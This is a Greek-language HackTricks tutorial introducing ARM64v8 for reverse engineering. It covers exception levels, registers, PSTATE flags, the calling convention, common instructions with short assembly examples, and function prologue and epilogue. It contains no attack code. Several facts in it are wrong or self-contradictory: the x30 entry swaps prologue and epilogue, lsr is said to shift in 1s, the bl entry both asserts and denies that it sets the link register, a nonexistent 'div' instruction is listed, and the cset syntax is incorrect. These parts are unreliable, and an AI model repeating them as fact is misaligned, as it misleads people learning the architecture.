Εισαγωγή στο ARM64v8

Reading time: 37 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επίπεδα Εξαίρεσης - EL (ARM64v8)

Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Exception Levels (ELs), ορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:

  1. EL0 - User Mode:
  • Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
  • Οι εφαρμογές που τρέχουν σε EL0 είναι απομονωμένες μεταξύ τους και από το σύστημα, ενισχύοντας την ασφάλεια και τη σταθερότητα.
  1. EL1 - Operating System Kernel Mode:
  • Τα περισσότερα λειτουργικά συστήματα τρέχουν σε αυτό το επίπεδο.
  • Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για τη διασφάλιση της ακεραιότητας του συστήματος. Πηγαίνετε από EL0 σε EL1 με την εντολή SVC.
  1. EL2 - Hypervisor Mode:
  • Αυτό το επίπεδο χρησιμοποιείται για virtualization. Ένας hypervisor που τρέχει σε EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (το καθένα στο δικό του EL1) στο ίδιο φυσικό υλικό.
  • Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των virtualized περιβαλλόντων.
  • Επομένως εφαρμογές εικονικών μηχανών όπως το Parallels μπορούν να χρησιμοποιήσουν το hypervisor.framework για αλληλεπίδραση με το EL2 και να τρέξουν virtual machines χωρίς kernel extensions.
  • Για να μεταβεί από EL1 σε EL2 χρησιμοποιείται η εντολή HVC.
  1. EL3 - Secure Monitor Mode:
  • Αυτό είναι το επίπεδο με τα περισσότερα προνόμια και χρησιμοποιείται συχνά για secure booting και trusted execution environments.
  • Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ secure και non-secure καταστάσεων (όπως secure boot, trusted OS, κ.λπ.).
  • Χρησιμοποιόταν για KPP (Kernel Patch Protection) στο macOS, αλλά δεν χρησιμοποιείται πλέον.
  • Το EL3 δεν χρησιμοποιείται πια από την Apple.
  • Η μετάβαση στο EL3 γίνεται συνήθως με την εντολή SMC (Secure Monitor Call).

Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφόρων πτυχών του συστήματος, από τις εφαρμογές χρήστη μέχρι το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών συνιστωσών του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.

Καταχωρητές (ARM64v8)

ARM64 έχει 31 γενικής χρήσης καταχωρητές, επισημασμένους x0 έως x30. Κάθε ένας μπορεί να αποθηκεύσει μια 64-bit (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσεγγιστούν σε 32-bit μορφή χρησιμοποιώντας τα ονόματα w0 έως w30.

  1. x0 έως x7 - Συνήθως χρησιμοποιούνται ως scratch registers και για τη μετάβαση παραμέτρων σε υπορουτίνες.
  • Το x0 μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
  1. x8 - Στον Linux kernel, το x8 χρησιμοποιείται ως ο αριθμός system call για την εντολή svc. Στο macOS το x16 είναι αυτό που χρησιμοποιείται!
  2. x9 έως x15 - Περαιτέρω προσωρινοί καταχωρητές, συχνά για τοπικές μεταβλητές.
  3. x16 και x17 - Intra-procedural Call Registers. Προσωρινοί καταχωρητές για άμεσα (immediate) τιμές. Χρησιμοποιούνται επίσης για indirect function calls και PLT stubs.
  • Το x16 χρησιμοποιείται ως ο αριθμός system call για την εντολή svc στο macOS.
  1. x18 - Platform register. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε κάποιες πλατφόρμες αυτός ο καταχωρητής είναι δεσμευμένος για ειδικές χρήσεις πλατφόρμας: δείκτης στο current thread environment block στα Windows, ή για να δείχνει στη τρέχουσα executing task structure in linux kernel.
  2. x19 έως x28 - Αυτοί είναι callee-saved registers. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον caller, επομένως αποθηκεύονται στο stack και ανακτώνται πριν την επιστροφή στον caller.
  3. x29 - Frame pointer για να παρακολουθεί το stack frame. Όταν δημιουργείται ένα νέο stack frame επειδή καλείται μια συνάρτηση, ο καταχωρητής x29 αποθηκεύεται στο stack και η νέα διεύθυνση frame pointer (η διεύθυνση του sp) αποθηκεύεται σε αυτόν τον καταχωρητή.
  • Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως γενικός καταχωρητής, αν και συνήθως χρησιμοποιείται ως αναφορά για τοπικές μεταβλητές.
  1. x30 ή lr - Link register. Κρατά τη διεύθυνση επιστροφής όταν εκτελείται μια εντολή BL (Branch with Link) ή BLR (Branch with Link to Register) αποθηκεύοντας την τιμή του pc σε αυτόν τον καταχωρητή.
  • Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.
  • Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και κατά συνέπεια να υπεργραφεί το lr, θα το αποθηκεύσει στο stack στην αρχή — αυτό είναι το epilogue (stp x29, x30 , [sp, #-48]; mov x29, sp -> Store fp and lr, generate space and get new fp) και το ανακτά στο τέλος — αυτό είναι το prologue (ldp x29, x30, [sp], #48; ret -> Recover fp and lr and return).
  1. sp - Stack pointer, χρησιμοποιείται για να κρατά την κορυφή του stack.
  • Η τιμή του sp πρέπει πάντα να διατηρείται με τουλάχιστον quadword alignment, αλλιώς μπορεί να συμβεί alignment exception.
  1. pc - Program counter, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω παραγωγής εξαιρέσεων, επιστροφών εξαιρέσεων και branches. Οι μόνη συνηθισμένες εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι branch with link instructions (BL, BLR) για να αποθηκεύσουν τη διεύθυνση του pc στο lr (Link Register).
  2. xzr - Zero register. Επίσης ονομάζεται wzr στη 32-bit μορφή. Μπορεί να χρησιμοποιηθεί για εύκολη λήψη της τιμής μηδέν (συνηθισμένη operation) ή για εκτέλεση συγκρίσεων χρησιμοποιώντας subs όπως subs XZR, Xn, #10 αποθηκεύοντας το αποτέλεσμα πουθενά (στο xzr).

Οι Wn καταχωρητές είναι η 32bit έκδοση των Xn καταχωρητών.

tip

Οι καταχωρητές από X0 - X18 είναι volatile, που σημαίνει ότι οι τιμές τους μπορούν να αλλάξουν από κλήσεις συναρτήσεων και διακοπές. Ωστόσο, οι καταχωρητές από X19 - X28 είναι non-volatile, που σημαίνει ότι οι τιμές τους πρέπει να διατηρούνται κατά τη διάρκεια κλήσεων συναρτήσεων ("callee saved").

SIMD και καταχωρητές κινητής υποδιαστολής

Επιπλέον, υπάρχουν άλλοι 32 καταχωρητές μήκους 128bit που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες single instruction multiple data (SIMD) operations και για εκτέλεση floating-point αριθμητικών. Αυτοί ονομάζονται Vn registers αν και μπορούν επίσης να λειτουργήσουν σε 64-bit, 32-bit, 16-bit και 8-bit και τότε ονομάζονται Qn, Dn, Sn, Hn και Bn.

System Registers

Υπάρχουν εκατοντάδες system registers, επίσης ονομαζόμενοι special-purpose registers (SPRs), που χρησιμοποιούνται για παρακολούθηση και έλεγχο της συμπεριφοράς των επεξεργαστών.
Μπορούν να διαβαστούν ή να οριστούν μόνο χρησιμοποιώντας τις ειδικές εντολές mrs και msr.

Οι ειδικοί καταχωρητές TPIDR_EL0 και TPIDDR_EL0 εμφανίζονται συχνά κατά την reverse engineering. Το επίθημα EL0 υποδεικνύει το ελάχιστο επίπεδο εξαίρεσης από το οποίο μπορεί να προσεγγιστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο προνομίων όπου τρέχουν τα κανονικά προγράμματα).
Συχνά χρησιμοποιούνται για να αποθηκεύσουν τη βασική διεύθυνση του thread-local storage περιοχής μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος από προγράμματα που τρέχουν σε EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από EL0 και να γραφτεί από EL1 (όπως ο kernel).

  • mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
  • msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0

PSTATE

Το PSTATE περιέχει διάφορες συνιστώσες της διαδικασίας σειροποιημένες στον ειδικό καταχωρητή SPSR_ELx που είναι ορατός στο λειτουργικό σύστημα, όπου X είναι το permission level του προκληθέντος exception (αυτό επιτρέπει την αποκατάσταση της κατάστασης της διαδικασίας όταν τελειώσει η εξαίρεση).
Αυτά είναι τα πεδία που είναι προσβάσιμα:

  • Οι σημαίες συνθηκών N, Z, C και V:
  • N σημαίνει ότι η λειτουργία επέστρεψε αρνητικό αποτέλεσμα
  • Z σημαίνει ότι η λειτουργία επέστρεψε μηδέν
  • C σημαίνει ότι συνέβη carry
  • V σημαίνει ότι η λειτουργία επέστρεψε signed overflow:
  • Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
  • Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
  • Σε αφαίρεση, όταν ένας μεγάλος αρνητικός αριθμός αφαιρείται από έναν μικρότερο θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
  • Προφανώς ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι signed ή όχι, οπότε θα ελέγξει τα C και V στις λειτουργίες και θα υποδείξει αν συνέβη carry στην περίπτωση που ήταν signed ή unsigned.

warning

Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Κάποιες όπως CMP ή TST το κάνουν, και άλλες που έχουν το επίθημα s όπως ADDS επίσης το κάνουν.

  • Η τρέχουσα σημαία πλάτους καταχωρητή (nRW): Αν η σημαία έχει την τιμή 0, το πρόγραμμα θα τρέξει σε κατάσταση εκτέλεσης AArch64 μόλις συνεχίσει.
  • Το τρέχον Exception Level (EL): Ένα κανονικό πρόγραμμα που τρέχει σε EL0 θα έχει τιμή 0.
  • Η σημαία single stepping (SS): Χρησιμοποιείται από debuggers για single stepping ρυθμίζοντας τη σημαία SS σε 1 μέσα στο SPSR_ELx μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα προκαλέσει μια single step εξαίρεση.
  • Η σημαία illegal exception state (IL): Χρησιμοποιείται για να σηματοδοτήσει όταν ένα προνομιούχο λογισμικό πραγματοποιεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία τίθεται σε 1 και ο επεξεργαστής ενεργοποιεί μια illegal state exception.
  • Οι σημαίες DAIF: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιούχο πρόγραμμα να αποκρύψει επιλεκτικά ορισμένες εξωτερικές εξαιρέσεις.
  • Εάν A είναι 1 σημαίνει ότι θα ενεργοποιηθούν asynchronous aborts. Το I ρυθμίζει την απόκριση σε εξωτερικά hardware Interrupt Requests (IRQs). και το F σχετίζεται με Fast Interrupt Requests (FIRs).
  • Οι σημαίες επιλογής stack pointer (SPS): Προνομιούχα προγράμματα που τρέχουν σε EL1 και άνω μπορούν να εναλλάξουν μεταξύ της χρήσης του δικού τους stack pointer register και του user-model ενός (π.χ. μεταξύ SP_EL1 και EL0). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή SPSel. Αυτό δεν μπορεί να γίνει από EL0.

Calling Convention (ARM64v8)

Η calling convention του ARM64 ορίζει ότι οι πρώτες οκτώ παράμετροι σε μια συνάρτηση περνιούνται σε καταχωρητές x0 έως x7. Επιπλέον παράμετροι περνιούνται στο stack. Η τιμή επιστροφής επιστρέφεται στον καταχωρητή x0, ή και στον x1 αν είναι 128 bits. Οι καταχωρητές x19 έως x30 και sp πρέπει να διατηρούνται κατά τις κλήσεις συναρτήσεων.

Όταν διαβάζετε μια συνάρτηση σε assembly, ψάξτε για το function prologue και epilogue. Το prologue συνήθως περιλαμβάνει αποθήκευση του frame pointer (x29), ρύθμιση ενός νέου frame pointer, και επιμερισμό χώρου στο stack. Το epilogue συνήθως περιλαμβάνει αποκατάσταση του αποθηκευμένου frame pointer και επιστροφή από τη συνάρτηση.

Calling Convention στο Swift

Το Swift έχει τη δική του calling convention που μπορεί να βρεθεί στο https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Συνήθεις Εντολές (ARM64v8)

Οι εντολές ARM64 γενικά έχουν τη μορφή opcode dst, src1, src2, όπου το opcode είναι η λειτουργία που θα εκτελεστεί (όπως add, sub, mov, κ.λπ.), το dst είναι ο καταχωρητής προορισμού όπου θα αποθηκευτεί το αποτέλεσμα, και τα src1 και src2 είναι οι πηγές. Μπορούν επίσης να χρησιμοποιηθούν άμεσες τιμές (immediates) αντί για source registers.

  • mov: Μεταφέρει μια τιμή από έναν καταχωρητή σε έναν άλλο.

  • Παράδειγμα: mov x0, x1 — Αυτό μεταφέρει την τιμή από το x1 στο x0.

  • ldr: Φορτώνει μια τιμή από τη μνήμη σε έναν καταχωρητή.

  • Παράδειγμα: ldr x0, [x1] — Φορτώνει μια τιμή από τη μνήμη που δείχνει το x1 στο x0.

  • Offset mode: Ένα offset που επηρεάζει τον origin pointer υποδεικνύεται, για παράδειγμα:

  • ldr x2, [x1, #8], αυτό θα φορτώσει στο x2 την τιμή από x1 + 8

  • ldr x2, [x0, x1, lsl #2], αυτό θα φορτώσει στο x2 ένα αντικείμενο από το array x0, στη θέση x1 (index) * 4

  • Pre-indexed mode: Αυτό θα εφαρμόσει υπολογισμούς στον origin, πάρει το αποτέλεσμα και επίσης θα αποθηκεύσει τον νέο origin.

  • ldr x2, [x1, #8]!, αυτό θα φορτώσει x1 + 8 στο x2 και θα αποθηκεύσει στο x1 το αποτέλεσμα x1 + 8

  • str lr, [sp, #-4]!, Αποθηκεύει τον link register στο sp και ενημερώνει το register sp

  • Post-index mode: Αυτό είναι σαν το προηγούμενο αλλά η διεύθυνση μνήμης προσπελάζεται και μετά υπολογίζεται και αποθηκεύεται το offset.

  • ldr x0, [x1], #8, φορτώνει x1 στο x0 και ενημερώνει το x1 με x1 + 8

  • PC-relative addressing: Σε αυτή την περίπτωση η διεύθυνση που θα φορτωθεί υπολογίζεται σε σχέση με τον καταχωρητή PC

  • ldr x1, =_start, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο _start στο x1 σχετική με το τρέχον PC.

  • str: Αποθηκεύει μια τιμή από έναν καταχωρητή στη μνήμη.

  • Παράδειγμα: str x0, [x1] — Αποθηκεύει την τιμή στο x0 στη διεύθυνση μνήμης που δείχνει το x1.

  • ldp: Load Pair of Registers. Αυτή η εντολή φορτώνει δύο καταχωρητές από συνεχόμενες διευθύνσεις μνήμης. Η διεύθυνση μνήμης συνήθως σχηματίζεται προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.

  • Παράδειγμα: ldp x0, x1, [x2] — Φορτώνει x0 και x1 από τις διευθύνσεις μνήμης σε x2 και x2 + 8, αντίστοιχα.

  • stp: Store Pair of Registers. Αυτή η εντολή αποθηκεύει δύο καταχωρητές σε συνεχόμενες διευθύνσεις μνήμης. Η διεύθυνση μνήμης σχηματίζεται συνήθως με προσθήκη offset στην τιμή άλλου καταχωρητή.

  • Παράδειγμα: stp x0, x1, [sp] — Αποθηκεύει x0 και x1 στις διευθύνσεις μνήμης sp και sp + 8, αντίστοιχα.

  • stp x0, x1, [sp, #16]! — Αποθηκεύει x0 και x1 στις διευθύνσεις μνήμης sp+16 και sp + 24, αντίστοιχα, και ενημερώνει το sp με sp+16.

  • add: Προσθέτει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Προορισμός

  • Xn2 -> Operand 1

  • Xn3 | #imm -> Operand 2 (register ή immediate)

  • [shift #N | RRX] -> Εκτέλεση shift ή RRX

  • Παράδειγμα: add x0, x1, x2 — Προσθέτει τις τιμές σε x1 και x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • add x5, x5, #1, lsl #12 — Αυτό ισούται με 4096 (ένα 1 shifted 12 φορές) -> 1 0000 0000 0000 0000

  • adds: Εκτελεί add και ενημερώνει τις σημαίες

  • sub: Αφαιρεί τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Δείτε τη σύνταξη του add.

  • Παράδειγμα: sub x0, x1, x2 — Αφαιρεί την τιμή στο x2 από το x1 και αποθηκεύει το αποτέλεσμα στο x0.

  • subs: Όπως το sub αλλά ενημερώνει τις σημαίες

  • mul: Πολλαπλασιάζει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Παράδειγμα: mul x0, x1, x2 — Πολλαπλασιάζει τις τιμές σε x1 και x2 και τις αποθηκεύει στο x0.

  • div: Διαιρεί την τιμή ενός καταχωρητή με ενός άλλου και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Παράδειγμα: div x0, x1, x2 — Διαιρεί την τιμή σε x1 με το x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • lsl, lsr, asr, ror, rrx:

  • Logical shift left: Προσθέτει 0s από το τέλος μετακινώντας τα υπόλοιπα bits προς τα εμπρός (πολλαπλασιασμός επί 2^n)

  • Logical shift right: Προσθέτει 1s στην αρχή μετακινώντας τα υπόλοιπα bits προς τα πίσω (διαίρεση επί 2^n για unsigned)

  • Arithmetic shift right: Όπως το lsr, αλλά αντί να προσθέτει 0s, αν το πιο σημαντικό bit είναι 1, προσθέτει 1s (διαίρεση επί 2^n για signed)

  • Rotate right: Όπως το lsr αλλά ό,τι αφαιρεθεί από τα δεξιά προστίθεται στα αριστερά

  • Rotate Right with Extend: Όπως το ror, αλλά με την carry flag ως το "most significant bit". Έτσι η carry flag μεταφέρεται στο bit 31 και το αφαιρεμένο bit πάει στην carry flag.

  • bfm: Bit Field Move, αυτές οι λειτουργίες αντιγράφουν bits 0...n από μια τιμή και τα τοποθετούν στις θέσεις m..m+n. Το #s καθορίζει τη αριστερότερη θέση bit και το #r την ποσότητα περιστροφής προς τα δεξιά.

  • Bitfield move: BFM Xd, Xn, #r

  • Signed Bitfield move: SBFM Xd, Xn, #r, #s

  • Unsigned Bitfield move: UBFM Xd, Xn, #r, #s

  • Bitfield Extract and Insert: Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.

  • BFI X1, X2, #3, #4 Εισάγει 4 bits από το X2 από το 3ο bit του X1

  • BFXIL X1, X2, #3, #4 Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1

  • SBFIZ X1, X2, #3, #4 Εκτείνει το πρόσημο 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3, μηδενίζοντας τα δεξιά bits

  • SBFX X1, X2, #3, #4 Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, τα sign-extends, και τοποθετεί το αποτέλεσμα στο X1

  • UBFIZ X1, X2, #3, #4 Zero-extends 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3, μηδενίζοντας τα δεξιά bits

  • UBFX X1, X2, #3, #4 Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το zero-extended αποτέλεσμα στο X1.

  • Sign Extend To X: Επεκτείνει το πρόσημο (ή απλώς προσθέτει 0s στην unsigned έκδοση) μιας τιμής ώστε να μπορεί να γίνει λειτουργία με αυτήν:

  • SXTB X1, W2 Επεκτείνει το πρόσημο ενός byte από W2 στο X1 (W2 είναι το μισό του X2) για να γεμίσει τα 64bit

  • SXTH X1, W2 Επεκτείνει το πρόσημο ενός 16bit αριθμού από W2 στο X1 για να γεμίσει τα 64bit

  • SXTW X1, W2 Επεκτείνει το πρόσημο ενός (sic) από W2 στο X1 για να γεμίσει τα 64bit

  • UXTB X1, W2 Προσθέτει 0s (unsigned) σε ένα byte από W2 στο X1 για να γεμίσει τα 64bit

  • extr: Εξάγει bits από ένα συγκεκριμένο ζεύγος καταχωρητών συνενωμένων.

  • Παράδειγμα: EXTR W3, W2, W1, #3 Αυτό θα συνενώσει W1+W2 και θα πάρει από το bit 3 του W2 μέχρι το bit 3 του W1 και θα το αποθηκεύσει στο W3.

  • cmp: Συγκρίνει δύο καταχωρητές και ρυθμίζει τις condition flags. Είναι ένα alias του subs θέτοντας τον προορισμό στον zero register. Χρήσιμο για να ξέρετε αν m == n.

  • Υποστηρίζει την ίδια σύνταξη με το subs

  • Παράδειγμα: cmp x0, x1 — Συγκρίνει τις τιμές σε x0 και x1 και ρυθμίζει αντίστοιχα τις condition flags.

  • cmn: Compare negative operand. Σε αυτή την περίπτωση είναι alias του adds και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να ξέρετε αν m == -n.

  • ccmp: Conditional comparison, είναι μια σύγκριση που θα εκτελεστεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα nzcv bits.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> αν x1 != x2 και x3 < x4, πήγαινε στη func

  • Αυτό επειδή το ccmp θα εκτελεστεί μόνο αν το προηγούμενο cmp ήταν NE, αν δεν ήταν τα bits nzcv θα τεθούν σε 0 (που δεν θα ικανοποιεί το blt).

  • Αυτό μπορεί επίσης να χρησιμοποιηθεί ως ccmn (το ίδιο αλλά αρνητικό, όπως cmp vs cmn).

  • tst: Ελέγχει αν κάποια από τις τιμές της σύγκρισης έχουν και τα δύο 1 (λειτουργεί σαν ANDS χωρίς να αποθηκεύει το αποτέλεσμα πουθενά). Είναι χρήσιμο για έλεγχο ενός καταχωρητή με μια τιμή και για να δείτε αν κάποια από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1.

  • Παράδειγμα: tst X1, #7 Έλεγχος αν κάποιο από τα τελευταία 3 bits του X1 είναι 1

  • teq: XOR operation απορρίπτοντας το αποτέλεσμα

  • b: Ανεπιφυλακτο Branch

  • Παράδειγμα: b myFunction

  • Σημειώστε ότι αυτό δεν θα γεμίσει το link register με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για subroutine calls που χρειάζονται επιστροφή)

  • bl: Branch with link, χρησιμοποιείται για κάλεσμα υπορουτίνας. Αποθηκεύει τη διεύθυνση επιστροφής στο x30.

  • Παράδειγμα: bl myFunction — Καλεί τη συνάρτηση myFunction και αποθηκεύει τη διεύθυνση επιστροφής στο x30.

  • Σημειώστε ότι αυτό δεν θα γεμίσει το link register με τη διεύθυνση επιστροφής (όχι κατάλληλο για subrutine calls που χρειάζονται επιστροφή)

  • blr: Branch with Link to Register, χρησιμοποιείται για κάλεσμα υπορουτίνας όπου ο προορισμός καθορίζεται σε έναν καταχωρητή. Αποθηκεύει τη διεύθυνση επιστροφής στο x30. (Αυτό είναι

  • Παράδειγμα: blr x1 — Καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στο x1 και αποθηκεύει τη διεύθυνση επιστροφής στο x30.

  • ret: Επιστροφή από υπορουτίνα, συνήθως χρησιμοποιώντας τη διεύθυνση στο x30.

  • Παράδειγμα: ret — Επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στο x30.

  • b.<cond>: Συνθήκες branches

  • b.eq: Branch αν ίσο, με βάση την προηγούμενη εντολή cmp.

  • Παράδειγμα: b.eq label — Αν η προηγούμενη cmp βρήκε δύο ίσες τιμές, τότε πηγαίνει στο label.

  • b.ne: Branch αν όχι ίσο. Αυτή η εντολή ελέγχει τις condition flags (που ρυθμίστηκαν από προηγούμενη εντολή σύγκρισης), και αν οι συγκριμένες τιμές δεν ήταν ίσες, κάνει branch σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: Μετά από cmp x0, x1, b.ne label — Αν οι τιμές στο x0 και x1 δεν ήταν ίσες, πηγαίνει στο label.

  • cbz: Compare and Branch on Zero. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: cbz x0, label — Αν η τιμή στο x0 είναι μηδέν, πηγαίνει στο label.

  • cbnz: Compare and Branch on Non-Zero. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: cbnz x0, label — Αν η τιμή στο x0 είναι μη μηδέν, πηγαίνει στο label.

  • tbnz: Test bit and branch on nonzero

  • Παράδειγμα: tbnz x0, #8, label

  • tbz: Test bit and branch on zero

  • Παράδειγμα: tbz x0, #8, label

  • Conditional select operations: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά αλλάζει ανάλογα με τα condition bits.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Αν true, X0 = X1, αν false, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Αν true, Xd = Xn, αν false, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Αν true, Xd = Xn + 1, αν false, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Αν true, Xd = Xn, αν false, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Αν true, Xd = NOT(Xn), αν false, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Αν true, Xd = Xn, αν false, Xd = - Xm

  • cneg Xd, Xn, cond -> Αν true, Xd = - Xn, αν false, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Αν true, Xd = 1, αν false, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Αν true, Xd = <all 1>, αν false, Xd = 0

  • adrp: Υπολογίζει τη διεύθυνση της σελίδας ενός συμβόλου και τη αποθηκεύει σε έναν καταχωρητή.

  • Παράδειγμα: adrp x0, symbol — Αυτό υπολογίζει τη διεύθυνση σελίδας του symbol και την αποθηκεύει στο x0.

  • ldrsw: Φορτώνει μια signed 32-bit τιμή από τη μνήμη και την sign-extends σε 64 bits. Χρησιμοποιείται σε κοινές περιπτώσεις SWITCH.

  • Παράδειγμα: ldrsw x0, [x1] — Φορτώνει μια signed 32-bit τιμή από τη μνήμη που δείχνει το x1, την sign-extends σε 64 bits, και την αποθηκεύει στο x0.

  • stur: Αποθηκεύει μια τιμή καταχωρητή σε μια διεύθυνση μνήμης, χρησιμοποιώντας ένα offset από άλλο καταχωρητή.

  • Παράδειγμα: stur x0, [x1, #4] — Αποθηκεύει την τιμή στο x0 στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που έχει το x1.

  • svc : Κάνει ένα system call. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, αλλάζει από user mode σε kernel mode και πηγαίνει σε μια συγκεκριμένη θέση στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού system call του kernel.

  • Παράδειγμα:

armasm
mov x8, 93  ; Load the system call number for exit (93) into register x8.
mov x0, 0   ; Load the exit status code (0) into register x0.
svc 0       ; Make the system call.

Function Prologue

  1. Αποθήκευση του link register και του frame pointer στο stack:
armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Ρύθμιση του νέου δείκτη πλαισίου: mov x29, sp (ορίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)
  2. Διάθεση χώρου στο stack για τοπικές μεταβλητές (αν χρειάζεται): sub sp, sp, <size> (όπου <size> είναι ο αριθμός των bytes που απαιτούνται)

Επίλογος συνάρτησης

  1. Αποδέσμευση τοπικών μεταβλητών (αν έχουν δεσμευθεί): add sp, sp, <size>
  2. Επαναφορά του link register και του δείκτη πλαισίου:
armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Επιστροφή: ret (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στον καταχωρητή σύνδεσης)

Κοινές Προστασίες Μνήμης ARM

iOS Exploiting

Κατάσταση Εκτέλεσης AARCH32

Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. AArch32 μπορεί να τρέξει σε ένα από δύο σύνολα εντολών: A32 και T32 και μπορεί να αλλάζει μεταξύ τους μέσω interworking.
Προνομιούχα 64-bit προγράμματα μπορούν να προγραμματίσουν την εκτέλεση προγραμμάτων 32-bit εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερο προνομιούχο 32-bit.
